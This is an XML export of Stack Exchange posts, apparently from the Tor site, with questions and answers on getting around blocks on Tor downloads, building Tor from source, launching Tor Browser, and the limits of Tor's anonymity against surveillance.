  <row Id="76" PostTypeId="5" CreationDate="2013-09-26T06:26:04.540" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-09-26T06:26:04.540" LastActivityDate="2013-09-26T06:26:04.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="77" PostTypeId="4" CreationDate="2013-09-26T06:26:04.540" Score="0" Body="Mozilla Firefox is a free and open-source web browser developed by the Mozilla Foundation. It uses the Gecko layout engine originally developed by Netscape." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-13T15:07:52.783" LastActivityDate="2013-12-13T15:07:52.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="78" PostTypeId="1" AcceptedAnswerId="81" CreationDate="2013-09-26T07:06:26.863" Score="29" ViewCount="21851" Body="&lt;p&gt;I'm trying to download Tor but my ISP/Network administrator/Government has blocked access to the &lt;a href=&quot;https://torproject.org&quot; rel=&quot;noreferrer&quot;&gt;TorProject website&lt;/a&gt;. How do I download Tor?&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="16326" LastEditDate="2017-03-02T09:22:15.283" LastActivityDate="2020-01-09T23:54:33.367" Title="My ISP/Network/Government has blocked access to the TorProject website. How can I download Tor?" Tags="|support|mirrors|censorship|" AnswerCount="3" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="79" PostTypeId="2" ParentId="78" CreationDate="2013-09-26T07:09:01.100" Score="3" Body="&lt;p&gt;You can download Tor from several mirror sites. One is &lt;a href=&quot;http://tor.dev-random.de&quot; rel=&quot;nofollow&quot;&gt;http://tor.dev-random.de&lt;/a&gt; and the list of current mirrors is &lt;a href=&quot;https://tor.dev-random.de/getinvolved/mirrors.html.en&quot; rel=&quot;nofollow&quot;&gt;https://tor.dev-random.de/getinvolved/mirrors.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware that it is important to &lt;em&gt;always&lt;/em&gt; &lt;a href=&quot;https://tor.dev-random.de/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow&quot;&gt;verify the GnuPG signature&lt;/a&gt; of &lt;em&gt;every&lt;/em&gt; file you download. &lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2013-09-26T07:09:01.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="80" PostTypeId="2" ParentId="75" CreationDate="2013-09-26T07:12:57.583" Score="21" Body="&lt;p&gt;To compile and install Tor from git follow these steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 0&lt;/strong&gt;: Make sure you have &lt;code&gt;git&lt;/code&gt;, a working &quot;C compiler&quot; and &quot;GNU make&quot; installed on your linux box. You also need &lt;code&gt;libevent-dev&lt;/code&gt; and &lt;code&gt;libssl-dev&lt;/code&gt; libraries before you start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're on debian/ubuntu type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; sudo apt-get install git build-essential automake libevent-dev libssl-dev zlib1g-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;: Clone Tor from git.torproject.org&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;git clone https://git.torproject.org/tor.git&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;: &lt;code&gt;cd tor&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Step 3&lt;/strong&gt;: run &lt;code&gt;./autogen.sh&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Step 4&lt;/strong&gt;: run &lt;code&gt;./configure&lt;/code&gt; or &lt;code&gt;./configure --disable-asciidoc&lt;/code&gt; if you don't want to build the manpages.&lt;br&gt;&#xA;(See 'note' if you get error at this step)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Step 5&lt;/strong&gt;: run &lt;code&gt;make&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Step 6&lt;/strong&gt; (optional): run &lt;code&gt;make install&lt;/code&gt; &#xA;&lt;br&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note&lt;/em&gt;&lt;/strong&gt;: If you have problems finding libraries at &lt;em&gt;step 4&lt;/em&gt; try the following instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPPFLAGS=&quot;-I/usr/local/include&quot; LDFLAGS=&quot;-L/usr/local/lib&quot; \ ./configure&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure --with-libevent-dir=/usr/local&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you have mysterious &lt;code&gt;autoconf&lt;/code&gt; failures while linking openssl,&#xA;consider setting your &lt;code&gt;LD_LIBRARY_PATH&lt;/code&gt; to the openssl lib directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;code&gt;setenv LD_LIBRARY_PATH /usr/your_username/lib&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/HEAD:/INSTALL&quot; rel=&quot;nofollow noreferrer&quot;&gt;INSTALL&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="-1" LastEditDate="2020-03-25T18:25:24.963" LastActivityDate="2020-03-25T18:25:24.963" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="81" PostTypeId="2" ParentId="78" CreationDate="2013-09-26T07:16:03.320" Score="29" Body="&lt;p&gt;You've a couple of options:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If &lt;a href=&quot;https://github.com&quot; rel=&quot;noreferrer&quot;&gt;Github&lt;/a&gt; isn't blocked in your network, then you can go to the official Github website for downloading the Tor Browser which is: &lt;code&gt;https://TheTorProject.github.io/gettor&lt;/code&gt; (&lt;code&gt;gettor&lt;/code&gt; is case sensitive), or you can directly go the official repository for downloading the Tor Browser on Github: &lt;code&gt;https://github.com/TheTorProject/GetTorBrowser&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Send an email to &lt;code&gt;gettor@torproject.org&lt;/code&gt; and a bot will try to send you the download links.&lt;/li&gt;&#xA;&lt;li&gt;Send a DM to &lt;a href=&quot;https://twitter.com/get_tor&quot; rel=&quot;noreferrer&quot;&gt;@get_tor&lt;/a&gt; on Twitter.&lt;/li&gt;&#xA;&lt;li&gt;Send a message to &lt;code&gt;gettor@torproject.org&lt;/code&gt; from your favorite XMPP client.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://startpage.com/do/search?q=tor%20mirror&quot; rel=&quot;noreferrer&quot;&gt;Search for mirrors&lt;/a&gt; on Internet or check the &lt;a href=&quot;https://webcache.googleusercontent.com/search?q=cache:lL3KOtiH620J:www.torproject.org/getinvolved/mirrors.html.en%20&amp;amp;cd=1&amp;amp;hl=en&amp;amp;ct=clnk&amp;amp;gl=us&amp;amp;client=firefox-a&quot; rel=&quot;noreferrer&quot;&gt;Google cached version&lt;/a&gt; of &lt;a href=&quot;https://www.torproject.org/getinvolved/mirrors.html.en&quot; rel=&quot;noreferrer&quot;&gt;Tor mirrors&lt;/a&gt; page and check if any of those links work for you.&lt;/li&gt;&#xA;&lt;li&gt;Contact a human via &lt;code&gt;help@rt.torproject.org&lt;/code&gt;, explain your problem and ask for a mirror. Currently we're able to respond to requests in English, Farsi, Arabic, Chinese, Spanish and French.&lt;/li&gt;&#xA;&lt;li&gt;Get it from a friend. Tor Browser Bundle (aka TBB) is small enough to fit in a USB stick.&#xA;&lt;br&gt;&lt;br&gt;&#xA;&lt;em&gt;It is &lt;strong&gt;very important&lt;/strong&gt; to &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;noreferrer&quot;&gt;verify the signature&lt;/a&gt; of any package you download, especially when you get it from somewhere other than Tor official HTTPS website. Even if you get it from a trusted friend.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="107" LastEditorUserId="16326" LastEditDate="2017-02-27T20:49:20.967" LastActivityDate="2017-02-27T20:49:20.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="82" PostTypeId="5" CreationDate="2013-09-26T07:16:38.100" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-09-26T07:16:38.100" LastActivityDate="2013-09-26T07:16:38.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="83" PostTypeId="4" CreationDate="2013-09-26T07:16:38.100" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-09-26T07:16:38.100" LastActivityDate="2013-09-26T07:16:38.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="84" PostTypeId="1" AcceptedAnswerId="92" CreationDate="2013-09-26T07:49:52.280" Score="8" ViewCount="6721" Body="&lt;p&gt;If I do &lt;code&gt;tor-browser_en-US/App/Firefox/firefox-bin http://example.com&lt;/code&gt; it opens in my regular Firefox browser. Is there a way to make a launcher/script that opens a link in the Tor Browser?&lt;/p&gt;&#xA;" OwnerUserId="113" LastEditorUserId="71" LastEditDate="2013-12-25T15:47:47.087" LastActivityDate="2013-12-25T15:47:47.087" Title="How do I create a launcher / script that opens an URL in TorBrowser (from the bundle)" Tags="|tor-browser-bundle|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="85" PostTypeId="1" AcceptedAnswerId="87" CreationDate="2013-09-26T08:11:22.217" Score="15" ViewCount="3791" Body="&lt;p&gt;Can agencies such as the NSA or GCHQ track what websites I'm visiting if I'm using the Tor Browser Bundle? What about hidden services?&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="923" LastEditDate="2014-03-01T18:02:11.993" LastActivityDate="2019-03-10T03:46:33.680" Title="Can government agencies track what sites I'm visiting when using Tor?" Tags="|onion-services|security|anonymity|surveillance|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="86" PostTypeId="1" AcceptedAnswerId="93" CreationDate="2013-09-26T08:13:43.710" Score="16" ViewCount="1241" Body="&lt;p&gt;I am using the Tor Browser Bundle, so all my internet browsing traffic is routed via Tor. However if I have other services like Dropbox, another web browser, etc. running on my machine that aren't routed through Tor, can that compromise my anonymity?&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorDisplayName="user5" LastEditDate="2014-03-12T13:58:45.373" LastActivityDate="2014-03-12T13:58:45.373" Title="Is Tor's security compromised if other services are connecting in the clear?" Tags="|security|anonymity|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="87" PostTypeId="2" ParentId="85" CreationDate="2013-09-26T08:24:00.110" Score="12" Body="&lt;p&gt;Your question is quite hard to answer, because as far as I know the special capabilities of the agencies in this field are yet unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can first look into &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot;&gt;Tor's design document&lt;/a&gt;. Section 3.1 states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A global passive adversary is the most commonly assumed threat when analyzing theoretical anonymity designs. But like all practical low-latency systems, Tor does not protect against such a strong adversary. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if you assume that the NSA, GCHQ or any other entity can observer world-wide traffic, Tor doesn't protect you here. Furthermore Matthew Edman and Paul Syverson found more weaknesses when an adversary has can look over many autonomous systems (AS). See &lt;a href=&quot;http://freehaven.net/anonbib/cache/DBLP%3aconf/ccs/EdmanS09.pdf&quot;&gt;AS-awareness in Tor path selection&lt;/a&gt; (PDF).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other side you can ask yourself why NSA or others will target your person. If they have a special 'interest' in your data, it might be easier for them to install some kind of malware onto your system or to break into your apartment and install a keylogger. Usually this can be done without anybody noticing it. It furthermore has the advantage for the adversary that they can be quite sure to get your traffic data. In the case above they need to apply algorithms which might also lead to wrong conclusions.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-09-26T08:24:00.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="88" PostTypeId="1" AcceptedAnswerId="90" CreationDate="2013-09-26T08:33:39.427" Score="18" ViewCount="14911" Body="&lt;p&gt;I run a web server. Can I distinguish between traffic that has been routed via Tor and that which hasn't? &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2020-08-17T18:21:19.237" Title="Can I detect when someone is connecting to my server via Tor?" Tags="|server-administration|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="89" PostTypeId="2" ParentId="88" CreationDate="2013-09-26T08:42:21.890" Score="4" Body="&lt;p&gt;The list of Tor relays is public and can be accessed via different means. So you can basically check if the current connecting client is listed as relay or not. This gives you a first, good approximation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However someone can run a relay and use this computer for everyday web surfing which is not routed through Tor. In this case the above mentioned check will say yes because the IP belongs to a relay, but the user didn't use Tor.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-09-26T08:42:21.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="90" PostTypeId="2" ParentId="88" CreationDate="2013-09-26T08:54:33.227" Score="16" Body="&lt;p&gt;Yes. There are two ways to recognize Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first way is through their IP address -- the list of Tor relays is public, so you can check whether the user is coming from a known Tor relay. It's actually a little bit trickier than that though, first because every Tor relay has an exit policy (so only some relays will allow users to reach your site), and second because some Tor exit relays are multi-homed, meaning they list (and listen on) a different IP address than the one they use for outgoing traffic. We offer a &quot;bulk exit relay list&quot; service that you can use to fetch a list of recent IP addresses whose exit policies allow connections to your site:&#xA;&lt;a href=&quot;https://check.torproject.org/cgi-bin/TorBulkExitList.py&quot;&gt;https://check.torproject.org/cgi-bin/TorBulkExitList.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as Jens points out, if somebody visits your website from an IP address that also runs a Tor exit, you won't be able to tell the difference. That's especially important in places where many users are NATed behind a single shared IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second way is by looking at various application-level characteristics. Torbutton, and the changes in Tor Browser, are designed to make all Tor users blend together, but they're not designed to make every Tor user indistinguishable from all other normal web browsers. So you can probably build a signature based on the differences that the Tor Browser introduces (tells you the time zone is GMT, doesn't answer certain JavaScript queries, doesn't answer certain history requests, etc) to make a pretty good Tor user recognizer. Of course, if the user isn't using Tor Browser, then this one wouldn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also point out that being able to distinguish Tor users doesn't break their anonymity. The goal of Tor is to prevent any single point from learning that this user went to that destination. You're not learning the location of the user here -- only that she is one of the million+ Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, there's a FAQ entry that's relevant too:&#xA;&quot;&lt;a href=&quot;https://www.torproject.org/docs/faq#HideExits&quot;&gt;You should hide the list of Tor relays, so people can't block the exits.&lt;/a&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="88" LastEditDate="2013-09-26T19:27:52.027" LastActivityDate="2013-09-26T19:27:52.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="91" PostTypeId="2" ParentId="85" CreationDate="2013-09-26T09:20:28.350" Score="8" Body="&lt;p&gt;In addition to Jens' answer, from the front page of Tor project &lt;a href=&quot;https://torproject.org&quot;&gt;website&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For most uses, Tor provides the best available protection against a&#xA;  well-resourced observer. It's an open question how much protection Tor&#xA;  (or any other existing anonymous communications tool) provides against&#xA;  the NSA's large-scale Internet surveillance. On its own, Tor can't&#xA;  protect against attacks against vulnerabilities on your computer or&#xA;  its software; Tor is not the only tool you need to be secure on the&#xA;  internet. We're working on writing clear explanations for the issues,&#xA;  and the state of the research field as it stands. In the meantime,&#xA;  &lt;a href=&quot;https://www.schneier.com/blog/archives/2013/09/how_to_remain_s.html&quot;&gt;Bruce Schneier's advice&lt;/a&gt; may be useful.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-09-26T09:20:28.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="92" PostTypeId="2" ParentId="84" CreationDate="2013-09-26T09:20:46.007" Score="2" Body="&lt;p&gt;Currently the &lt;code&gt;start-tor-browser&lt;/code&gt; script and &lt;code&gt;vidalia&lt;/code&gt; form the Tor Browser Bundle is not prepared to pass arguments to the launched &lt;em&gt;Firefox&lt;/em&gt;. See this part of the script (near to the end):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf &quot;\nLaunching Tor Browser Bundle for Linux in ${HOME}\n&quot;&#xA;cd &quot;${HOME}&quot;&#xA;# XXX Someday we should pass whatever command-line arguments we got&#xA;# (probably filenames or URLs) to Firefox.&#xA;./App/vidalia --datadir Data/Vidalia/ -style Cleanlooks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last command results in launching &lt;em&gt;Firefox&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to close the browser launched through &lt;code&gt;vidalia&lt;/code&gt; and then to start it manually. Here is a procedure:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy the &lt;code&gt;start-tor-browser&lt;/code&gt; script to &lt;code&gt;start-tor-browser-only&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In &lt;code&gt;start-tor-browser-only&lt;/code&gt; replace the line &lt;code&gt;./App/vidalia --datadir Data/Vidalia/ -style Cleanlooks&lt;/code&gt; near to the end by &lt;code&gt;./App/Firefox/firefox -no-remote -profile Data/profile &quot;$@&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure that the executable bit is set: &lt;code&gt;chmod a+x start-tor-browser-only&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Run the &lt;code&gt;start-tor-browser&lt;/code&gt; script.&lt;/li&gt;&#xA;&lt;li&gt;Close the browser window. Now just the &lt;code&gt;tor&lt;/code&gt; daemon and &lt;code&gt;vidalia&lt;/code&gt; are running. Processes can communicate through &lt;code&gt;tor&lt;/code&gt; by using it as a socks proxy.&lt;/li&gt;&#xA;&lt;li&gt;Start &lt;code&gt;start-tor-browser-only&lt;/code&gt; &lt;em&gt;&lt;code&gt;http://your.address&lt;/code&gt;&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This way you can start the &lt;em&gt;Firefox&lt;/em&gt; with parameters as you want. It will be started with the correct profile and correct environment variables: &lt;code&gt;HOME&lt;/code&gt;, &lt;code&gt;XAUTHORITY&lt;/code&gt;, &lt;code&gt;LD_LIBRARY_PATH&lt;/code&gt; and &lt;code&gt;LDPATH&lt;/code&gt;. Unfortunately the debug mode will not work and probably there would be several other minor catches and security implications.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-09-26T09:20:46.007" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="93" PostTypeId="2" ParentId="86" CreationDate="2013-09-26T09:25:02.343" Score="12" Body="&lt;p&gt;No. Or at least, there aren't supposed to be any ways for the interaction to hurt your anonymity. If you find any, please let us know!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said (and because there are always exceptions), check out the paper &quot;&lt;a href=&quot;http://freehaven.net/anonbib/#remote-traffic-pets12&quot;&gt;Website Detection Using Remote Traffic Analysis&lt;/a&gt;&quot; from &lt;a href=&quot;http://petsymposium.org/2012/&quot;&gt;PETS 2012&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your non-Tor traffic is interacting with the adversary (which might be more common than you think, with centralized web resources like advertising sites), and also the adversary runs the website you're visiting over Tor, then he could potentially introduce congestion using the non-Tor channel, and then see if your Tor traffic slows down as a result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This attack might be possible even if you aren't running anything you would think of as a network application -- he can send a lot of ping packets in your direction, and they'll congest your Tor traffic because your Tor flows share the same Internet connection as non-Tor traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should point out that the attack is still mostly theoretical: you'd have to get some really accurate timing results before you could draw strong conclusions from it. So in summary, the short answer to your question is &quot;no.&quot;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-12-03T19:24:05.070" LastActivityDate="2013-12-03T19:24:05.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="94" PostTypeId="2" ParentId="73" CreationDate="2013-09-26T09:27:44.557" Score="1" Body="&lt;p&gt;In general everyone can operate a relay. Those can be either good or bad guys. Bad guys can do everything. This ranges from passive listening to injecting malicious content. When the main Tor people learn about those bad things they can give the Tor relay a special mark (Bad Exit flag). In this case no other client will use those relays.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-09-26T09:27:44.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="95" PostTypeId="1" AcceptedAnswerId="98" CreationDate="2013-09-26T09:33:47.847" Score="23" ViewCount="1253" Body="&lt;p&gt;I know there are potential risks of carrying out multiple activities over Tor at the same time, when I don't want them to be linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I might browse one website giving one pseudonym, then switch to another where I want to use a different pseudonym. There is the possibility that Tor one circuit will be used for both websites, so the exit-node operator would be able to discover hat the two pseudonyms correspond to the same person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I might run two applications which both use Tor (say Firefox with TorButton, as well as Pidgin) at the same time, and I don't want my activity in one being linked to the other. As a extreme, I've read (in &lt;a href=&quot;http://hal.inria.fr/docs/00/47/15/56/PDF/TorBT.pdf&quot;&gt;&quot;Compromising Tor Anonymity&#xA;Exploiting P2P Information Leakage&quot;&lt;/a&gt;) that if one application leaks my public IP address, someone observing the exit node could discover that my IP address is linked to activities carried out by other applications which connect via Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the best ways to isolate activities so as to prevent these attacks?&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-09-29T06:17:58.463" Title="How can I prevent my different activities carried out over Tor being linked?" Tags="|anonymity|threat-models|isolation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="96" PostTypeId="1" AcceptedAnswerId="130" CreationDate="2013-09-26T09:50:05.297" Score="13" ViewCount="1647" Body="&lt;p&gt;In onion routing, messages are repeatedly encrypted and then sent through several network nodes called onion routers. Each onion router removes a layer of encryption to uncover routing instructions, and sends the message to the next router where this is repeated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any (theoretical or practical) vulnerabilities in onion routing? Are there any known ways to break the anonymity that it offers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be specific, I am asking if the process of &lt;em&gt;onion routing&lt;/em&gt; can be hacked.&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="923" LastEditDate="2014-03-01T20:31:41.207" LastActivityDate="2014-03-07T12:35:26.513" Title="Are there any vulnerabilities in the process of onion routing?" Tags="|security|anonymity|onion-routing|encryption|vulnerability|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="97" PostTypeId="1" AcceptedAnswerId="107" CreationDate="2013-09-26T10:11:34.560" Score="28" ViewCount="63439" Body="&lt;p&gt;I've heard advice that to further protect my anonymity/privacy it's best to run Tor (the Tor Browser Bundle) in a Virtual Machine, which you would ideally roll back after each use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What extra security, if any, does this provide?&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="923" LastEditDate="2014-07-11T03:04:26.423" LastActivityDate="2020-09-10T17:59:48.280" Title="Should I run Tor in a VM?" Tags="|tor-browser-bundle|anonymity|virtual-machine|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="98" PostTypeId="2" ParentId="95" CreationDate="2013-09-26T10:11:38.693" Score="21" Body="&lt;h2&gt;Browsing different websites&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;At the moment, it is not advisable to browse two different websites at the same time when you don't want your activity to be linked. The Tor client can't tell which tab/window you are using for each request so might send requests for both sites over the same circuit. The exit node operator could then spot the correspondence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you should browse one website at a time. When you've finished on one site you should  click the &quot;New Identity&quot; button in the TorButton menu. This will close your existing tabs and then you can start your browsing with the second website. Any circuits which were used before you clicked &quot;New Identity&quot; will not be used after, so preventing an exit node from linking activities on the  two websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't press &quot;New Identity&quot; too much though, because it increases load on the Tor network. Any circuit which was first used more than 10 minutes ago (unless changed by the &lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; Tor option) will automatically be ineligible for new requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plans to improve the situation, by letting your Tor client know when two requests correspond to different browser tabs or go to different domain names. At the moment though you are safest just browsing one website at a time.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Running different applications&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The situation is different if you are interested in preventing activity on different applications at the same time, as &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/171-separate-streams.txt&quot;&gt;proposal 171&lt;/a&gt; introduced features to allow activities carried out by one application to be isolated from activities carried out by another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, requests to the Tor client's SOCKS port coming &lt;em&gt;from&lt;/em&gt; different IP addresses are isolated, as are requests which have different SOCKS authentication information. So the easiest way to isolate two applications is to configure them to use the same SOCKS port but with different SOCKS usernames and passwords (what you use as the username and password doesn't matter, as long as each application has a different setting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also configure how the Tor client isolates connections by setting &lt;em&gt;isolation flags&lt;/em&gt; for your SocksPort, TransPort, DNSPort or NATDPort. See the description of &lt;code&gt;SOCKSPort&lt;/code&gt; in the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#_client_options&quot;&gt;Tor manual&lt;/a&gt; for the possible flags. Do bear in mind however that enabling more isolation will both increase load on the Tor network and lower your performance.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-09-26T14:07:32.160" LastActivityDate="2013-09-26T14:07:32.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="99" PostTypeId="2" ParentId="48" CreationDate="2013-09-26T10:31:47.893" Score="6" Body="&lt;p&gt;Another idea is to prevent the computer you run Tor on from knowing your external IP address by connecting it to the Internet via a NAT router. This helps mainly in combination with something like Tails which prevents Internet access except via Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if your Firefox gets compromised it won't be able to send out requests directly to the Internet (due to the Tails firewall) and it will only be able to discover your internal IP address if it tries to send that back to the command and control server via Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be better to connect to the NAT router via a wired connection and disable wireless on your computer, because if an attacker can see the MAC addresses of nearby wireless APs, they would be able to look this up on a geolocation database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This won't stop all attacks, and in particular it won't stop an attack targeted against you, but it will make it harder to exploit a Firefox flaw.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-09-26T10:31:47.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="100" PostTypeId="1" AcceptedAnswerId="110" CreationDate="2013-09-26T10:43:55.123" Score="20" ViewCount="34890" Body="&lt;p&gt;From what I can see Tor mainly handles your web browser's traffic, but is there a way to do all of your connections through it? Like email, Dropbox, Carbonite backup, Skype etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Please explain whether this might be a good or a bad idea in the first place. I can understand that Skype might be inherently 'spy friendly' due to it's closed source nature and slow.)&lt;/p&gt;&#xA;" OwnerUserId="123" LastEditorUserId="923" LastEditDate="2014-03-01T20:31:50.870" LastActivityDate="2019-10-22T15:28:41.177" Title="Can Tor be used with applications other than Web browsers?" Tags="|security|anonymity|implementations|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
